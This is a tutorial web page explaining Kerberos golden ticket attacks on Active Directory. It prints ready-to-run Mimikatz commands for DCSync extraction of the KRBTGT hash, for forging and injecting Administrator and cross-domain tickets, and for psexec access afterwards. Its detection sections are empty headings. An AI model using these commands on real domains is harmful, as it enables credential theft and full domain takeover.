Golden Ticket Attacks: Kerberos Ticket Forging Explained
Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.
Forging the Master Key to the Domain
A golden ticket attack forges a Kerberos Ticket Granting Ticket (TGT) — the master authentication token in Active Directory. Because the TGT is encrypted with the KRBTGT account's password hash, anyone who possesses this hash can forge identity for any user, including non-existent accounts at any privilege level. Golden tickets represent the ultimate compromise of Kerberos trust architecture, with validity up to 10 years.
Prerequisites
The KRBTGT Account
KRBTGT is a special disabled user account whose password hash encrypts all TGTs in the domain. It has a random 240-character password set at domain creation and rarely changes. The KRBTGT hash is the single most sensitive credential in the entire domain — with it, an attacker can forge TGTs for any user, create tickets for non-existent users, set lifetimes up to 10 years, and maintain access even after other compromised credentials change.
Creating Golden Tickets
# Extract KRBTGT hash via DCSync
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
# Create and inject golden ticket
mimikatz.exe "kerberos::golden /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /user:Administrator /groups:512,513,518,519,520 /ptt" "exit"
Parameters: /domain (FQDN), /sid (domain SID), /krbtgt (KRBTGT hash), /user (impersonated user), /id (user RID, 500 = Administrator), /groups (SIDs for Domain Admins, Enterprise Admins).
Using Golden Tickets
# After PTT injection, access domain resources
dir \\dc01\c$
psexec \\dc01 cmd.exe
powershell.exe -c "Get-ADUser -Filter *"
Cross-Domain Golden Tickets
Extra-SID injection includes Enterprise Admins SIDs for cross-forest access:
mimikatz.exe "kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD /sids:S-1-5-21-ROOT-519 /krbtgt:KRBTGT_HASH /user:Administrator /ptt" "exit"
Detection
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Golden tickets forge TGTs using the KRBTGT hash, granting unrestricted domain access for extended periods. Detection is challenging since forged tickets are indistinguishable from legitimate ones. Defenses center on protecting the KRBTGT hash, regular rotation, and monitoring for precursor steps (DCSync, credential dumping).
Related SMB Tool Recommendations
Knowledge Check
Frequently Asked Questions
Continue Learning
Silver Ticket Attacks: Service Ticket Manipulation
Complete technical guide to silver ticket attacks including forged service tickets, comparison with golden tickets, creation techniques, and defensive strategies for Active Directory.
Active Directory · AdvancedKerberos Authentication and Attacks Explained: Active Directory Security Deep Dive
Kerberos authentication and attacks explained for penetration testers. Deep dive into TGT, TGS, KRBTGT account, Kerberoasting vs AS-REP roasting, and Golden Ticket attacks.
Active Directory · AdvancedPass-the-Hash: Understanding NTLM Authentication Attacks
An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Active Directory · AdvancedLateral Movement: Moving Through Network Environments
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Related Security Tools
CrackMapExec
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Information GatheringEnum4linux
Learn how to use Enum4linux to enumerate Windows and Samba systems over SMB: install it on Kali Linux, run your first scan, read the users, shares, groups and password policy it returns, and switch to enum4linux-ng for modern hosts that block null sessions.
Information GatheringSMBClient
Learn how to use SMBClient on Kali Linux: install Samba's FTP-like SMB/CIFS client, list shares, connect as a guest or with credentials, browse folders, and upload or download files on Windows, Samba, or NAS devices. For authorized assessments, check ports 139/445 with Nmap before testing share permissions.
Sniffing & SpoofingResponder
Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.